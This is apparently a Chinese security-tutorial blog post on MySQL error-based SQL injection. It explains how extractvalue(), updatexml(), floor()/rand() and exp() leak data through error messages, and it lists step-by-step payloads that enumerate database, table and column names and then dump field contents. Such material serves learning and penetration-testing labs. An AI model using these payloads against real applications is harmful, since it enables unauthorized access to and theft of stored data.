12、SQL注入——SQL报错注入

文章目录

  • 一、报错注入概述
    • 1.1 报错注入
    • 1.2 报错注入的前提条件
    • 1.3 相关报错函数
  • 二、报错注入payload
    • 2.1 利用extractvalue()函数进行报错注入
    • 2.2 利用updataxml()函数进行报错注入
    • 2.3 利用floor()函数进行报错注入

一、报错注入概述

1.1 报错注入

通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号名、用户名等)通过页面的错误提示显示出来。如下图:
在这里插入图片描述

1.2 报错注入的前提条件

  • web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;
  • 后台未对一些具有报错功能的函数(如extractvalueupdatexml等)进行过滤。

1.3 相关报错函数

(1)extractvlue()(Mysql数据库版本号>=5.1.5)

  • 作用:对xml文档进行查询,相当于在HTML文件中用标签查找元素。
  • 语法:extactvalue(XML_document, XPath_string)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
  • 报错原理:xml文档中查找字符位置使用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error: ‘xxxxx’
  • 实例: 在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(2)updatexml()(Mysql数据库版本号>=5.1.5)

  • 作用:改变文档中符合条件的节点的值。
  • 语法:updatexml(XML_document, XPath_string, new_value)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
    参数3:new_value,string格式,替换查找到的符合条件的数据
  • 报错原理:通extractvalue()
  • 实例:
    在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(3)floor()、rand()、count()、group by联用

  • 作用:
    • floor(x):对参数向下取整
    • rand():生成一个0-1之间的随机浮点数
    • count(*):统计某个表下总共有多少条记录
    • group by X:按照by一定规则(x)进行分组
  • 报错原理:group by和rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将就算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如下:Duplicate entry '...' for key 'group_key'
  • 实例:
    在这里插入图片描述

(4)exp()(5.5.5< = MYsql数据库版本<=5.5.49)

  • 作用:计算以e(自然常数)为底的幂值;
  • 语法:exp(x)
  • 报错原理:当参数超过710时,exp()函数会报错,错误信息如下:DOUBLE value is out of range:…
  • 实例
    在这里插入图片描述

(5)Mysql数据库报错功能函数汇总
在这里插入图片描述

二、报错注入payload

2.1 利用extractvalue()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

2.2 利用updataxml()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

2.3 利用floor()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+ //爆出当前数据库名
id=1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看数据库的表名
id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看表中的字段名
id=1' and (select 1 from (select count(*),concat((select group_concat(concat(字段1,'%23',字段2))),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看字段内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/220613.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

coding创建远程分支。并拉取远程新分支+推送代码

进入coding ----项目----代码仓库---点击 下拉之后查看全部----创建分支 创建分支之后执行下面命令 git branch -a // 查看所有分支 这个时候发现自己创建的分支没有显示这是因为自己在远程创建了分支但是本地还没有分支 执行 git fetch命令 用于从远程仓库获取最新的提交…

【软件测试】技术精选:Jmeter常见的几种报错

1、Java.net.UnknownHostException 这个错的含义是 没有连接到服务器地址&#xff0c;因此很可能是 内部网络中断导致。 2、502 Bad gateway 这个和本地的线程数无关 可能原因是网络抖动不稳定导致 3、java.net.SocketException: Socket closed 强制停止线程&#xff0c;连接…

CSRF之pikachu靶场DW

1&#xff0c;登录皮卡丘靶场&#xff0c;get请求&#xff1b; 2&#xff0c;抓包并修改标记后的个人信息 最后放通一下&#xff0c;发现账号信息被修改 2&#xff0c;post请求 1提交post数据并使用bp抓包 2.利用工具改包&#xff0c;并生成url 3&#xff0c;点击提交后&#…

单调栈与单调队列算法总结

单调栈 知识概览 单调栈最常见的应用是找到每一个数离它最近的且比它小的数。单调栈考虑的方式和双指针类似&#xff0c;都是先想一下暴力做法是什么&#xff0c;然后再挖掘一些性质如单调性&#xff0c;最终可以把目光集中在比较少的状态中&#xff0c;从而达到降低时间复杂…

JAVA 线程池,及7大参数,4大拒绝策略详解

为什么要使用线程池 线程的生命周期&#xff1a;运行、就绪、运行、阻塞、死亡 下面是一个简单的创建多线程的方法。注意&#xff1a;工作中不可取。 创建线程的时候&#xff0c;我们避不开线程的生命周期。上面的方法虽然可以创建多线程&#xff0c;但是创建完成后&#xff0c…

智能优化算法应用:基于寄生捕食算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于寄生捕食算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于寄生捕食算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.寄生捕食算法4.实验参数设定5.算法结果6.参考…

深入探讨Guava的缓存机制

第1章&#xff1a;引言 大家好&#xff0c;我是小黑&#xff0c;今天咱们聊聊Google Guava的缓存机制。缓存在现代编程中的作用非常大&#xff0c;它能提高应用性能&#xff0c;减少数据库压力&#xff0c;简直就是性能优化的利器。而Guava提供的缓存功能&#xff0c;不仅强大…

vue el-select多选封装及使用

使用了Element UI库中的el-select和el-option组件来构建多选下拉框。同时&#xff0c;也包含了一个el-input组件用于过滤搜索选择项&#xff0c;以及el-checkbox-group和el-checkbox组件用于显示多选项。 创建组件index.vue (src/common-ui/selectMultiple/index.vue) <tem…

【优选算法系列】【专题一双指针】第四节.15. 三数之和和18. 四数之和

文章目录 前言一、三数之和 1.1 题目描述 1.2 题目解析 1.2.1 算法原理 1.2.2 代码编写 1.2.3 题目总结二、四数之和 2.1 题目描述 2.2 题目解析 2.2.1 算法原理 2.2.2 代码编写 …

什么是动态住宅IP?它有什么用途?

随着网络的迅速发展&#xff0c;许多人对代理IP已经有了比较深刻的认识&#xff0c;并且广泛地运用到了各自的业务中&#xff0c;尤其在跨境的相关业务中表现尤其卓越。对于代理IP的类别&#xff0c;也需要根据自己的业务类型具体选择最合适的&#xff0c;那么今天IPFoxy就给大…

【Vue】使用cmd命令创建vue项目

上一篇&#xff1a; node的安装与配置 https://blog.csdn.net/m0_67930426/article/details/134562278?spm1001.2014.3001.5502 目录 一.创建空文件夹专门存放vue项目 二. 查看node , npm 和vue脚手架的版本 三.安装vue脚手架 四.创建vue项目 五.运行项目 一.创建空文件…

File类—递归文件搜索执行脚本文件

文章目录 一、需求分析二、File类2.1 File对象的创建2.2 File判断和获取方法2.3 创建和删除方法2.4 遍历文件夹方法 三、Runtime类—常见api四、递归文件搜索执行脚本文件 一、需求分析 在本篇博客中&#xff0c;我们想通过递归文件的方式&#xff0c;在D:\\判断下搜索QQ.exe这…

Hadoop学习笔记(HDP)-Part.07 安装MySQL

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

生成式 AI 应用落地小结:高估的模型能力,低估的工程实施

虽然 ChatGPT 已经诞生了一周年&#xff0c;但是大量的人依旧对于生成式 AI 没有足够的认识。在研发领域&#xff0c;Thoughtworks 一直在与不同的大型企业合作&#xff0c;保持开放性的探索。 在我负责的 Thoughtworks 开源社区&#xff0c;我们与外部的几家大型企业一起探索和…

YOLOv8创新魔改教程(三)如何添加注意力机制注意力机制的用法与思考

注意力机制的用法与思考 好多同学问我加了CA注意力机制&#xff0c;CBAM注意力机制&#xff0c;都没有涨点&#xff0c;然后就在不停地换不同的注意力机制&#xff0c;其实并不是这样的。今天和大家讨论一下注意力机制的用法与思考。 &#xff08;一&#xff09;添加位置 大…

Vmware17虚拟机安装windows10系统

不要去什么系统之家之类的下载镜像&#xff0c;会不好安装&#xff0c;镜像被魔改过了&#xff0c;适合真实物理机上的系统在PE里安装系统&#xff0c;建议下载原版系统ISO文件 安装vmware17pro 下载地址https://dwangshuo.jb51.net/202211/tools/VMwareplayer17_855676.rar 解…

vue3中手写一个日历,年部分,月部分,周部分,日部分

效果图 高度自定义&#xff0c;支持每天的统计展示&#xff0c;弹窗展示&#xff0c;详情操作 月部分&#xff1a; 默认展示当前月&#xff0c;支持前进和后退选择下一月 支持自定义每月的展示数据&#xff0c; 周部分&#xff1a; 分为上下午&#xff0c;可以列出要做的事项…

BitWarden数据迁移以及邮箱SMTP配置

bitwarden 个人密码库&#xff0c;这是我玩nas之后最想推荐的一个东西&#xff0c;今天就来分享一下 之前使用bitwarden都是网上现成的文章照抄&#xff08;能搜到的都是抄来抄去的简直离谱&#xff09;&#xff0c;导致邮箱无法使用、数据库也只是本地的sqlLite很不方便。 前…

人工智能对我们的生活影响有多大?

一、标题解析 本文标题为“人工智能对我们的生活影响有多大&#xff1f;”&#xff0c;这是一个典型的知乎风格SEO文案标题&#xff0c;既能够吸引读者&#xff0c;又能够体现文章的核心内容。 二、内容创作 1. 引言&#xff1a;在开头&#xff0c;我们可以简要介绍人工智能…

MySQL的时间与日期函数

1、日期格式 DATE_FORMAT("20231128", %Y-%m-%d) -- 2023-11-28 DATE_FORMAT("2023-11-28", %Y-%m-%d) -- 2023-11-28 DATE_FORMAT(2023-11-28 08:47:23, %H:%i:%s) -- 08:47:23 (24小时制) DATE_FORMAT(2023-11-28 08:47:23, %h:%i:%s) -- 08:47:23(12小…